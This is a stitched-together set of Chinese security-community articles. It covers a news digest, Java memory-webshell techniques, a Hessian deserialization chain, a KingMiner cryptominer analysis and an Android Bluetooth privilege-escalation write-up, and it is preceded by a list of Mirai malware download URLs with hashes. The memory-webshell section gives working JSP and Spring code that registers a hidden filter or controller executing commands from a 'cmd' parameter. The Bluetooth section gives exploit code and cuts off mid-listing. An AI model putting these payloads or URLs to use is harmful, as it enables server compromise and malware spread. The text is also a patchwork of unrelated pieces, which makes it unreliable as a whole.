http://80.211.173.20/amnyu.m68k 4ccd3036cadcbe2a0c4b28ce4ad77b7b
http://80.211.173.20/amnyu.mips 97c314a2a100ea4987e73e008225d3be
http://80.211.173.20/amnyu.mpsl 7d2c1f3d81a2df7beea99552d0704c2d
http://80.211.173.20/amnyu.ppc e968bf902db104c91d3aaa0bb363f1bd
http://80.211.173.20/amnyu.sh4 485f2b2a684865ead274bba6931c95c9
http://80.211.173.20/amnyu.spc 5db44876c3acc0b589c8d696c41b6413
http://80.211.173.20/amnyu.x86 4b375509896e111ef4c3eb003d38077f
http://blacklister.nl/bins/mirai.arm be6165a3e131cc92d3f7d51284cf70bb
http://blacklister.nl/bins/mirai.arm5n c639bc6b50ab0be250147572956a9d6b
http://blacklister.nl/bins/mirai.arm6 8f9c5099e3749d0199262289c9deaa3d
http://blacklister.nl/bins/mirai.arm7 e508956188f2cb71605ae0e8fbdf4a64
http://blacklister.nl/bins/mirai.i486 25846ce769f0bd5b204f440127d51f21
http://blacklister.nl/bins/mirai.i686 d3c82dd5d512304efc6a42018f0bf2a7
http://blacklister.nl/bins/mirai.m68k 3ef657efcfe16ad869a587d30480306f
http://blacklister.nl/bins/mirai.mips b4af22c2b3b1af68f323528ee0bc6637
http://blacklister.nl/bins/mirai.mips64 1e1d6b41a13c97ad3754815021dd0891
http://blacklister.nl/bins/mirai.mpsl 6adb31781db797712d759f564b9761b6
http://blacklister.nl/bins/mirai.ppc 7936cc1d021664892c48408ec1c9143c
http://blacklister.nl/bins/mirai.ppc440fp fd6235e4e1cf4a0f6c2d609a7b1ffc55
http://blacklister.nl/bins/mirai.sh4 5c8ef7f23f26e0e48ab527ef83874213
http://blacklister.nl/bins/mirai.spc 7ce73df7fb50beda2f549f9695a23538
http://blacklister.nl/bins/mirai.x86 539e9bf8c81bd3e9ae520fd74218a6b8
http://blacklister.nl/bins/mirai.x86_64 d69e501480f03f06e4579fa13e47d04a | 社区文章 |
# 1月17日安全热点 - 恶意Chrome插件/Skygofree
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
四个恶意Chrome浏览器插件影响了超过五十万用户和全球业务
<http://securityaffairs.co/wordpress/67807/cyber-crime/malicious-chrome-extensions-2.html>
加拿大男子被控告通过LeakedSource数十亿黑客泄露账户
<http://securityaffairs.co/wordpress/67798/cyber-crime/leakedsource-admin-charged.html>
Skygofree — 强大的安卓监控恶意软件
<https://thehackernews.com/2018/01/android-spying-malware.html>
<http://securityaffairs.co/wordpress/67815/malware/skygofree-surveillance-software.html>
BitConnect正在关闭其贷款和交换平台
<https://thenextweb.com/hardfork/2018/01/16/bitconnect-shut-down-closed/>
## 技术类
通过CVE-2017-17215学习路由器漏洞分析，从入坑到放弃
<http://www.freebuf.com/vuls/160040.html>
第2A部分：利用KOLIDE FLEET，OSQUERY，POWERSHELL EMPIRE和CALDERA进行威胁搜索
<https://holdmybeersecurity.com/2018/01/16/part-2a-intro-to-threat-hunting-with-kolide-fleet-osquery-powershell-empire-and-caldera-setup-environment/>
You Can Now Run PowerShell on Linux & macOS
<https://www.bleepingcomputer.com/news/microsoft/cya-windows-you-can-now-run-powershell-on-linux-and-macos/>
用TVM优化ARM GPU上的移动深度学习
<http://tvmlang.org/2018/01/16/opt-mali-gpu.html>
恶意流量分析
<http://malware-traffic-analysis.net/2018/01/16/index.html>
Micropatching将公式编辑器重新带回
<https://0patch.blogspot.com/2018/01/bringing-abandoned-equation-editor-back.html>
Bypassing CSP by Abusing JSONP Endpoints
<https://medium.com/@mazin.ahmed/bypassing-csp-by-abusing-jsonp-endpoints-47cf453624d5>
一些好用的威胁检测和捕获工具
<https://github.com/0x4D31/awesome-threat-detection>
The injected coinhive iframe
https://blog.manchestergreyhats.co.uk/posts/the-injected-coinhive-iframe—a-quick-look/
GitHub Sensitive Information Leak
<https://github.com/FeeiCN/GSIL> | 社区文章 |
# 前尘——内存中无处可寻的木马
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
很早之前就立下flag说聊聊内存马,然后出了一篇文章Java
Agent的内容。后来就搁浅了,这次想先写聊聊两种最为常见的内存马,spring内存马和filter内存马。
## 两种内存马异同
既然写出了两种内存马,那么两者一定有他的不同之处。基于filter类型的内存马更适用于老版本的javaweb工程，其单纯依赖于jsp,servlet这种站点，然后使用filter过滤器注册出一句话木马。而spring内存马准确来说应该叫做springmvc内存马，由于springmvc被列入spring全家桶，所以spring内存马也因此由来，此种类型的马适用于前些年较火的SSM框架。所以使用哪种内存马取决于目标采取的项目架构。相同之处就在于其原理都是通过反射的方式注册了一个给用户访问的方法，而方法的内容为常见的各类webshell。在下文之前我想给读者一点提示，内存马通过web路径的方式访问，而路径就需要向代码中添加和请求路径相匹配的方法，来处理请求中携带的命令执行的参数。
## filter型内存马
与spring内存马不同的是,filter类型的内存马访问的流程提前于spring内存马。而相同的是，依旧是创建一个访问集，将webshell当作这个访问集的处理方法。
声明一个filter有两种方式，一种是通过xml配置文件的方式，另一种是通过注解的方式。
我们通过对filter注解方式的源码查看，了解其注册的流程。
@WebFilter(filterName="FirstFilter",urlPatterns="/first")
public class FirstFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
// TODO Auto-generated method stub
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
// TODO Auto-generated method stub
System.out.println("进入Filter");
chain.doFilter(request, response);
}
@Override
public void destroy() {
// TODO Auto-generated method stub
}
}
## Filter的执行流程
详细的说，Filter的执行流程主要分为两个部分：
初始化部分：对于定义好的Filter过滤器（例如上面自定义的MyFilter），会首先创建过滤器对象，并保存到过容器中，并调用其init方法进行初始化。
执行部分：当匹配到相应的请求路径时，首先会对该请求进行拦截，执行doFilter中的逻辑，若不通过则该请求则到此为止，不会继续往下执行（此时通常会进行重定向或者转发到其他地方进行处理）；若通过则继续执行下一个拦截器的doFilter方法，直到指定的过滤器都执行完doFilter后，便执行Servlet中的业务逻辑。
### Init Part:
通过自己编写webfilter类并调试，发现其初始化的最上级为StandardContext类的startInternal方法
其方法主要内容为
if (ok) {
if (!filterStart()) { // 初始化Filter。若初始化成功则继续往下执行；若初始化失败则抛出异常，终止程序
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
}
看来真正初始化filter的是filter start方法。
此处先了解两个Map集合
// filterConfigs是一个HashMap，以键值对的形式保存数据（key ：value = 过滤器名 ：过滤器配置信息对象）
private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap<>();
// filterDefs同时也是一个HashMap，其中保存的数据是（过滤器名 ：过滤器定义对象）
private HashMap<String, FilterDef> filterDefs = new HashMap<>();
其中ApplicationFilterConfig包含过滤器名、初始化参数、过滤器定义对象等等
其中FilterDef定义了filter的名称，类路径，以及filter声明的实体类。
由此可以得知：FilterDef+过滤器名+初始化参数+xx等等=ApplicationFilterConfig
继续跟进filter start方法。
public boolean filterStart() {
if (getLogger().isDebugEnabled()) { // 日志相关
getLogger().debug("Starting filters");
}
boolean ok = true;
synchronized (filterConfigs) { // 初始化过滤器属于同步操作
filterConfigs.clear(); // 在初始化前，先清空
for (Entry<String,FilterDef> entry : filterDefs.entrySet()){
String name = entry.getKey(); // 获取过滤器名
if (getLogger().isDebugEnabled()) { // 日志相关
getLogger().debug(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue()); // 创建过滤器配置对象
filterConfigs.put(name, filterConfig); // 添加配置对象
} catch (Throwable t) {
t = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString("standardContext.filterStart", name), t);
ok = false;
}
}
}
return ok;
}
关于代码第九行遍历filterDefs时产生疑问，filterDefs中并未进行初始化填值，所以值从何处来。
for (FilterDef filter : webxml.getFilters().values()) { // 循环配置信息中的过滤器定义对象
if (filter.getAsyncSupported() == null) {
filter.setAsyncSupported("false");
}
context.addFilterDef(filter); // 将过滤器定义对象添加到容器中
}
/**
* 最后发现fireLifecycleEvent方法最终调用的是StandardContext类中的addFilterDef方法
* 而参数filterDef正是容器context经过解析web.xml文件或者注解配置后创建的过滤器定义对象
* 但此时filterDef中的真正过滤器对象filter还未初始化，因此才会有之后的初始化过滤器方法
*/
public void addFilterDef(FilterDef filterDef) {
synchronized (filterDefs) { // 同步添加过滤器定义对象
filterDefs.put(filterDef.getFilterName(), filterDef);
}
fireContainerEvent("addFilterDef", filterDef);
}
### Invoke Part
调用Filter的方法入口StandardWrapperValve类中的invoke
public final void invoke(Request request, Response response) throws IOException, ServletException {
...
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); // 创建并初始化过滤器链
try {
if ((servlet != null) && (filterChain != null)) { // 此处需要判断servlet和过滤器不为空。因为在执行完过滤器链中所有的过滤器doFilter方法后，就会轮到真正处理请求的servlet来处理
if (context.getSwallowOutput()) {
try {
SystemLogHandler.startCapture();
if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
filterChain.doFilter(request.getRequest(),
response.getResponse());
}
} finally {
String log = SystemLogHandler.stopCapture();
if (log != null && log.length() > 0) {
context.getLogger().info(log);
}
}
} else {
if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
filterChain.doFilter(request.getRequest(), response.getResponse()); // 执行过滤器链中的所有过滤器的doFilter方法
}
}
}
} catch(...){...}
...
}
到此处有一个疑问，filterChain怎么创建的？
ApplicationFilterFactory类的createFilterChain方法：
其中牵扯
`FilterMap filterMaps[] = context.findFilterMaps(); // 获取过滤器映射对象`
filterMap 怎么来的？
public class FilterMap extends XmlEncodingBase implements Serializable {
...
private String filterName = null; // 过滤器名，对应的是<filter-name>中的内容
private String[] urlPatterns = new String[0]; // 过滤url，对应的是<url-pattern>中的内容（可配置多个<filter-mapping>匹配不同的url，因此是数组形式）
...
}
filterMap它其实就是个封装了配置映射信息中 过滤器名 和 对应过滤url 参数的对象数组。
最后构造恶意对象如下所示：
<%
String name ="filter";
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade);
Field field = ApplicationContext.class.getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
Map configs = (Map) filterConfigs.get(standardContext);
if (configs.get(name) == null){
Filter filter = new Filter(){
@Override
public void init(FilterConfig filterConfig) {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
filterMap.addURLPattern("/*");
/**
* 将filtermap 添加到 filterMaps 中的第一个位置
*/
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
configs.put(name,filterConfig);
out.write("success");
}
%>
## spring型内存马
我们经常聊SSM框架中三层模型,DAO层负责数据库交互,service层负责业务逻辑的处理,controller层负责用户请求接口的匹配。以前做过的项目在上家公司离职都删除了,所以github随便找了一个项目供大家参考。（注:三层模型仅为逻辑分层，符合代码规范，可不照做。）
而spring内存马的核心就在于controller层
图中项目所用到的注解[@GetMapping](https://github.com/GetMapping "@GetMapping")
声明了前端访问后台时所匹配的路径，相同类型注解还有[@PostMapping](https://github.com/PostMapping
"@PostMapping")以及[@RequestMapping](https://github.com/RequestMapping
"@RequestMapping")其区别在于请求方使用post方式请求还是get，而request即为全部兼容。然后处理的方法为其下方books方法，内部通过调用service层的方法处理然后返回。
对Filter内存马有了初步的了解之后，我们来转到springmvc的Controller型内存马。
public class Controller{
public Controller(){
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method2 = InjectToController.class.getMethod("test");
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
public void test() {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
这是我在网上找的controller型的内存马，我们来分析其主要实现逻辑
1.利用spring内部方法获取context
2.从context中获得 RequestMappingHandlerMapping 的实例
3.通过反射获得自定义 controller 中的 Method 对象
4.定义访问 controller 的 URL 地址
5.定义允许访问 controller 的 HTTP 方法（GET/POST）
6.在内存中动态注册 controller
7.实现controller中的method对象
仔细对比github中实现controller的方法和通过反射的方式注册的两种对比，可以发现。
基于springmvc做的controller内存马其实就是将原本注解方式方提供的实现方式，以代码的形式实现。而使用的类就是注解的实现类。
## 聊聊疑惑
看完两种内存马
1.基于filter型的内存马
2.springmvccontroller型的内存马
**我想回答几处疑问**
**1.controller型内存马实际为[@RequestMapping](https://github.com/RequestMapping
"@RequestMapping")注解的代码实现，Filter型内存马实际为[@WebFilter](https://github.com/WebFilter
"@WebFilter")注解的代码实现，为什么不直接使用注解构造内存马，这样做代码量少还很方便？**
使用注解的类在java运行时有一个条件，这关乎于java代码运行和加载的流程。当jar包在初始化时，jvm会扫描使用到使用到注解的地方，并且将其解析。而内存马是在程序运行时产生的，这恰恰错过了jvm扫描到注解并解析的过程，所以使用注解使用则不会生效此为其一。其二为对于安全从业者来讲，我们通常喜欢使用反射机制。从某种意义上来讲，反射可以绕过多种限制，这里举例<如何破解Java中的单例模式>。反射更像是一种入口，从反射机制可以映射出任意类，这大大提高了代码抽离性。
**2.内存马的变种那么多，例如resion的变种内存马，基于springmvc的intercetor型内存马等等，我们应该如何发现属于自己的内存马？**
市面上的内存马变种很多，数不胜数。打造属于自己的内存马的前提是我们要清楚内存马的共性。前端用户输入的参数到后台处理结果，将结果返回给前端，这个过程中经历了什么我们要清楚，他的执行流程是什么。例如
从过滤器——>拦截器——>controller
这样一个过程中，哪些环节是我们可以向其插入执行逻辑的。简而言之，哪里能捕获到用户输入的参数，并且可以自定义其对参数的处理逻辑哪里就可以被当作内存马的殖民地。市面上的内存马无一例外都有这种特征。选择好植入的位置，下一步就是怎么深入其实现的原理，如filter型，声明filterdef，filtermap，filterconf等等就可以创建一个filter对象，使用反射将其实现。
**3.明明两种方式都有落地文件，怎么算的上内存马？**
这个问题要结合内存马的使用方式，在上篇文章中介绍了一部分关于冰蝎的一句话木马实现逻辑，提到最关键的类为Classloader，其可以将java的字节码加载到jvm中。内存马就可以配合此使用，将内存马编译字节码然后加载此为其一。
其二是配合java的反序列化使用，在存在java反序列化的地方，使用构造链+内存马的形式发送给解析链，解析链就会实现内存马的类。不清楚反序列化的可以看我之前的文章，有shiro，cc，spring等等。
## 总结
与其说这是一篇分析内存马的文章，我觉得还是叫他 Filter的实现原理深入，以及关于 RequestMapping
的实现原理深入说的准确。一句话木马加上执行链的任意一环就是我们所说的内存马。到这里我们从java的反序列到冰蝎一句话木马原理探究再到内存马的系列，回头看我们走了很远。我们会发现一个特点，这些知识点都是串连的，他们看似毫不相干，却又息息相关。渗透的本质是信息收集，而攻防的体系是知识点的串联。有一天你我会发现事物的本质是如此重要…… | 社区文章 |
## 前言
我的疑问主要是在虎符比赛期间读到了Ruilin大佬的"后反序列化漏洞"关于Gadget1.java中的注释产生的，部分代码如下图。
本文主要分享关于Hessian2通过Rome链两次反序列化完成恶意EvilTemplatesImpl注入中一些可能需要注意的点。
阅读需要了解Hessian2中的Rome链触发机制，本文不再赘述，文中若有错误敬请指正。
## 1\. 关于TemplatesImpl
首先描述TemplatesImpl的触发机制中的重要方法`getOutputProperties`：
* getOutputProperties可以调用`newTransformer`
* newTransformer会调用getTransletInstance()来创建恶意类
* getTransletInstance会进入到defineTransletClasses中（name不能为空，_class必须为空才能进入defineTransletClasses）
* 最后要注意defineTransletClasses的几个点，其中_tfactory是要着重注意的，此处是为何需要调用二次反序列化的关键之处
## 2\. 关于反序列化的注意事项
其次，关于反序列化部分需要清楚如下几点：
1. 关于Hessian2，Hessian2Input与Hessian2Output 均不能对transient修饰的成员进行序列化或者反序列化
2. 对于ObjectInput与ObjectOutput，除非相关类对readObject或者writeObject进行了重写，否则也无法对transient修饰的成员的变量做操作
3. TemplateImpl的`_tfactory`属性虽然是transient修饰，但其重写了readObject方法，方法中会生成_tfactory的实例，这或许在本文需要着重注意。
图一
图二
综上三点，我们可以清楚，TemplatesImpl在调用重写的readObject()时_tfactory会被实例化，那么ToStringBean遍历并调用getOutputProperties方法时，内部的`_tfactory.getExternalExtensionsMap()`调用也就不会出"NullPointerException"和"InvocationTargetException"了。
同时，由于Hessian2的反序列化特性无法对_tfactory进行保护，所以也就无法直接使用TemplatesImpl。
## 3\. SignedObject的作用
此类是在[sofastack/sofa-hessian](https://github.dev/sofastack/sofa-hessian/blob/master/src/main/resources/security/serialize.blacklist
"https://github.com/sofastack/sofa-hessian")的黑名单中看到的。
SignedObject使用ObjectInput.readObject和ObjectOutput.writeObject对Serializable类进行操作，字节码存储在`this.content`，反序列化可以通过getObject函数来调用，并且由于是getter的缘故，所以也可以在ToStringBean的toString方法中被调用。因此可以用于解决上文TemplatesImpl中提到的_tfactory为空的问题。
用法如下：
Student
public class Student implements Serializable {
private int age = 11;
private String name ="hezhi";
private transient String nickName = "alps";
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
//强制反序列化name
this.nickName = "whoami";
}
@Override
public String toString() {
return "Student{" +
"age=" + age +
", name='" + name + '\'' +
", nick='" + nickName + '\'' +
'}';
}
}
Main
public static void main(String[] args) throws Exception {
Student student = new Student();
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(student, privateKey, signature);
Student aaa = (Student) signedObject.getObject();
System.out.println(aaa);
}
## 4\. 总结
由于不够熟悉常用链，导致我在debug的过程中产生了很多的误区，最后感谢这么多巨人的肩膀。
## 5\. 参考：
[笑花大王
CommonsCollections3分析]：<https://www.cnblogs.com/xhds/p/15732776.html#_label1_0>
[Ruilin Java"后反序列化漏洞"利用思路]：<http://rui0.cn/archives/1338>
[Ruilin Gadget1.java]：<https://github.com/Ruil1n/after-deserialization-attack/blob/master/src/main/java/cn/rui0/idea/Gadget1.java>
[D4ck Hessian 反序列化漏洞分析]：<https://www.anquanke.com/post/id/209251#h3-17>
[sofastack/sofa-hessian]：<https://github.com/sofastack/sofa-hessian> | 社区文章 |
加密货币挖矿在2018年有了非常快速的增长。由于加密货币的价值，黑客有足够的动力来利用受害者机器的CPU算力进行加密货币挖矿活动。本文分析一种攻击Windows服务器的门洛比挖矿恶意软件。
KingMiner恶意软件最早是2018年6月出现的，并且迅速出现2个更新的版本。攻击者在恶意软件开发过程中使用了许多的绕过技术来绕过模拟和检测方法，导致许多的杀软引擎都没有发现。
# 攻击流
研究人员发现KingMiner恶意软件会攻击Microsoft服务器（大多是IIS\SQL）并尝试猜测其密码。然后会在受害者机器上下载Windows
Scriptlet文件(`.sct`)并执行。
在执行过程中，有以下步骤：
* 检测机器的CPU架构；
* 如果有老版的攻击文件存在，并kill掉相关的exe文件进程，然后删除这些文件；
* 基于检测到的CPU架构，下载payload zip文件（`zip\64p.zip`）。这病是真实的zip文件，而是为了绕过模拟检测的XML文件。
图1: HTTP响应中的zip payload
* XML payload中包含`base64 blob`，编码后会出现在该ZIP文件中。
ZIP文件中含有5个文件：
* `config.json` – XMRig CPU挖矿机配置文件
* `md5.txt` – 只含有字符串`zzz.`的文本文件
* `powered.exe` (老版本中是`fix.exe`) –主可执行文件
* `soundbox.dll/soundbox.dll` – 含有`powered.exe`要导出的函数的DLL文件
* `x.txt/y.png` –二进制blob文件。这也不是一个真实的PNG文件
图 2: 攻击的第一阶段
图 3: config.json –含有钱包地址和私有池的XMRig配置文件
模拟可执行文件不会产生任何活动。
在所有的文件都提取出来后，`md5.txt`文件中的内容就会加到相关的DLL文件中（`sandbox.dll\active_desktop_render_x64.dll`）。
然后`powered.exe/fix.exe`会被调用和执行，然后创建一个XMRig挖矿机文件和许多值为`Test.`的新注册表。
图 4: 含有DLL文件的函数
可执行文件会从DLL文件中调用函数：
* `ClearDesktopMonitorHook` – 该函数会返回值1。
* `King1` –创建一个线程并相关二进制blob文件（`x.txt/y.png`）中的内容。这会导致生成一个可执行文件，即XMRig CPU挖矿机的精简版。
DLL文件中含有4个函数，可能在之后用到：
* King2 – 该函数会返回值`1`。
* King3 – 该函数会返回值`1`。
* King4 – 该函数会返回值`1`。
* `SetDesktopMonitorHook` – 调用`King1`。
图 5: 函数king1，创建线程并将二进制blob y.png/x.txt作为参数
图 6: 攻击的第二阶段
XMRig CPU挖矿机会运行并使用受害者机器的所有CPU算力。
虽然配置为使用CPU算力的`75%`，但实际上使用的是`100%`。
图 7: 恶意powered.exe文件使用CPU 100%算力
# KingMiner的进化
Check Point研究人员监控到KingMiner恶意软件在第一次出现后共出现两个变种。恶意软件还不断加入新的特征和绕过方法来避免被检测和分析。
除此之外，恶意软件在不断进化中还预留了许多占位符用于之后的更新，这也会使检测变得更难。
# 绕过技术
恶意软件使用绕过技术是其成功的关键。许多相关的简单价值可以使恶意软件绕过常见的模拟和检测方法：
* 混淆`32p.zip/64p.zip`文件。ZIP文件含有基本的XML格式数据。在从语法上进行描述或分析后，就可以看到ZIP文件了。
* 主可执行文件`powered.exe`和从DLL中导出的函数。只执行可执行文件确保了没有其他活动。
* 加入`md5.txt`内容到DLL文件中。
* 解码`x.txt/y.png`内容到可执行文件XMRig CPU挖矿机中。
这些绕过技术都降低了被检测到的概率：
# 威胁情报
KingMiner攻击者使用私有的挖矿池来避免其活动被监控。该挖矿池的API已经被关闭了，而且有问题的钱包地址没有在公共挖矿池中使用过。所以还不能确定使用的域名，因为这也是私有的。但可以看出攻击的范围非常广，包括墨西哥、印度、挪威等。
图 6: 攻击地理分布图
# 总结
KingMiner是一款不断发展中的加密货币挖矿恶意软件，可以绕过常见的检测和模拟系统。通过应用简单的绕过技术，攻击者可以增加攻击成功的可能性。研究人员预测这些绕过技术在2019年会不断进化，并成为加密货币挖矿攻击的主要组成。
<https://research.checkpoint.com/kingminer-the-new-and-improved-cryptojacker/> | 社区文章 |
### 0x01 漏洞简介
Android
6月的安全公告，同时还修复了我们发现的一个蓝牙App提权中危漏洞，该漏洞允许手机本地无权限的恶意程序构造一个仿冒的Provider，并获取Provider所指向文件的读写权限，可用于写SD卡或者蓝牙共享数据库，漏洞详情如下：
* CVE: CVE-2017-0645
* BugID: A-35310991
* 严重性: 中危
* 漏洞类型: 提权
* Updated AOSP versions: 6.0.1, 7.0, 7.1.1, 7.1.2
### 0x02 漏洞分析
该漏洞其实是一个常规的Android组件暴露漏洞，跟我们上一个分析的蓝牙漏洞一样，我们知道在蓝牙App中BluetoothOppLauncherActivity是可以被第三方应用启动的。这一次，我们来看onCreate函数中传入Intent
action为android.btopp.intent.action.OPEN的处理流程。
} else if (action.equals(Constants.ACTION_OPEN)) {
Uri uri = getIntent().getData();
if (V) Log.v(TAG, "Get ACTION_OPEN intent: Uri = " + uri);
Intent intent1 = new Intent();
intent1.setAction(action);
intent1.setClassName(Constants.THIS_PACKAGE_NAME, BluetoothOppReceiver.class.getName());
intent1.setDataAndNormalize(uri);
this.sendBroadcast(intent1);
finish();
转到BluetoothOppReceiver进行处理。接着查看BluetoothOppReceiver的onReceive函数，由于Intent可控，这里蓝牙App将会取出intent中的Data进行数据库查询，然后取出transInfo，最后进入BluetoothOppUtility.openReceivedFile函数。
} else if (action.equals(Constants.ACTION_OPEN) || action.equals(Constants.ACTION_LIST)) {
if (V) {
if (action.equals(Constants.ACTION_OPEN)) {
Log.v(TAG, "Receiver open for " + intent.getData());
} else {
Log.v(TAG, "Receiver list for " + intent.getData());
}
}
BluetoothOppTransferInfo transInfo = new BluetoothOppTransferInfo();
Uri uri = intent.getData(); //Intent可控！
transInfo = BluetoothOppUtility.queryRecord(context, uri);
if (transInfo == null) {
Log.e(TAG, "Error: Can not get data from db");
return;
}
if (transInfo.mDirection == BluetoothShare.DIRECTION_INBOUND
&& BluetoothShare.isStatusSuccess(transInfo.mStatus)) {
// if received file successfully, open this file
// transInfo可控！
BluetoothOppUtility.openReceivedFile(context, transInfo.mFileName,
transInfo.mFileType, transInfo.mTimeStamp, uri);
BluetoothOppUtility.updateVisibilityToHidden(context, uri);
} else {
Intent in = new Intent(context, BluetoothOppTransferActivity.class);
in.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
in.setDataAndNormalize(uri);
context.startActivity(in);
}
在openReceivedFile函数中，我们看到蓝牙App最终将在授予读写权限后，启动能够处理transInfo.mFileType文件类型的某外部App的Activity，对transInfo.mFileName进行处理。
public static void openReceivedFile(Context context, String fileName, String mimetype,
Long timeStamp, Uri uri) {
if (fileName == null || mimetype == null) {
Log.e(TAG, "ERROR: Para fileName ==null, or mimetype == null");
return;
}
File f = new File(fileName); //fileName可控
if (!f.exists()) {
...
// skip
}
// path受限于com.google.android.bluetooth.fileprovider使用的位置
Uri path = FileProvider.getUriForFile(context,
"com.google.android.bluetooth.fileprovider", f);
// If there is no scheme, then it must be a file
if (path.getScheme() == null) {
path = Uri.fromFile(new File(fileName));
}
if (isRecognizedFileType(context, path, mimetype)) {
Intent activityIntent = new Intent(Intent.ACTION_VIEW);
activityIntent.setDataAndTypeAndNormalize(path, mimetype);
List<ResolveInfo> resInfoList = context.getPackageManager()
.queryIntentActivities(activityIntent,
PackageManager.MATCH_DEFAULT_ONLY);
// 注意这段，授予任何app对该文件的读写权限
// Grant permissions for any app that can handle a file to access it
for (ResolveInfo resolveInfo : resInfoList) {
String packageName = resolveInfo.activityInfo.packageName;
context.grantUriPermission(packageName, path,
Intent.FLAG_GRANT_WRITE_URI_PERMISSION |
Intent.FLAG_GRANT_READ_URI_PERMISSION);
}
activityIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// 授予activity对该文件的读写权限
activityIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
activityIntent.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
try {
if (V) Log.d(TAG, "ACTION_VIEW intent sent out: " + path + " / " + mimetype);
context.startActivity(activityIntent);
由于Intent可控，Intent
Data可控，transInfo可控，再加上启动的外部App被授予了读写权限，因此这里存在漏洞，我们可以伪造一个文件让蓝牙App启动某外部App打开，同时该外部App获得对伪造文件指向位置的读写权限。可惜此处伪造的文件位置受限于com.android.bluetooth.filepovider，其file_paths.xml使用的external-path，这意味着我们只能伪造一个外部存储/sdcard目录的文件。
**0x03 漏洞利用**
漏洞利用可如下图所示，这种攻击发送intent的过程像极了飞去来器。恶意App发送intent过后,又回到了自己手中，但却获得了提权。
1. 恶意App声明能对某种filetype进行处理
<activity android:name=".FakeViewActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="xxx/yyy" />
</intent-filter>
</activity>
1. 构造一个虚假的bluetooth share provider——FakeBluetoothOppProvider，传入intent data之中。主要内容可以参考BluetoothOppProvider，其Uri为
content://fake.bluetooth.provider/btopp/
并expose出来
<provider
android:authorities="fake.bluetooth.provider"
android:name=".FakeBluetoothOppProvider"
android:exported="true" />
然后填入内容，指向/sdcard中某个已知文件，并传入Intent data, 启动BluetoothOppLauncherActivity
m_btnTest.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
intent.setAction(Constants.ACTION_OPEN);
intent.setData(Uri.parse("content://fake.bluetooth.provider/btopp/1"));
startActivity(intent);
}
});
m_btnAddFakeEntry = (Button)findViewById(R.id.add);
m_btnAddFakeEntry.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
ContentValues values = new ContentValues();
values.put(BluetoothShare._ID, 1);
